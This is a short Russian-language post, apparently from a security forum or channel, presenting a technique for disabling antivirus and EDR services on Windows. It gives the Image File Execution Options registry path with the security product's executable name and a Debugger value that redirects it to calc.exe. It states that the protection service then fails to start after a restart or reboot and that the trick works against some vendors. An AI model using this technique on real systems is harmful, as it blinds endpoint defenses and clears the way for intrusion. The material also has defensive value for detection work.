Image File Execution Options все традиционно воспринимают как метод закрепления и повышения привилегий, но что если не только... Этот раздел реестра можно использовать для перенаправления выполнения любого приложения на другой исполняемый файл. Следовательно...
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<Имя службы AV/EDR>.exe
Value: Debugger (REG_SZ) : "C:\windows\system32\calc.exe"
После перезапуска службы (как вариант перезагрузки хоста) служба более не стартует.
Работает с продуктами не всех вендоров, но работает.
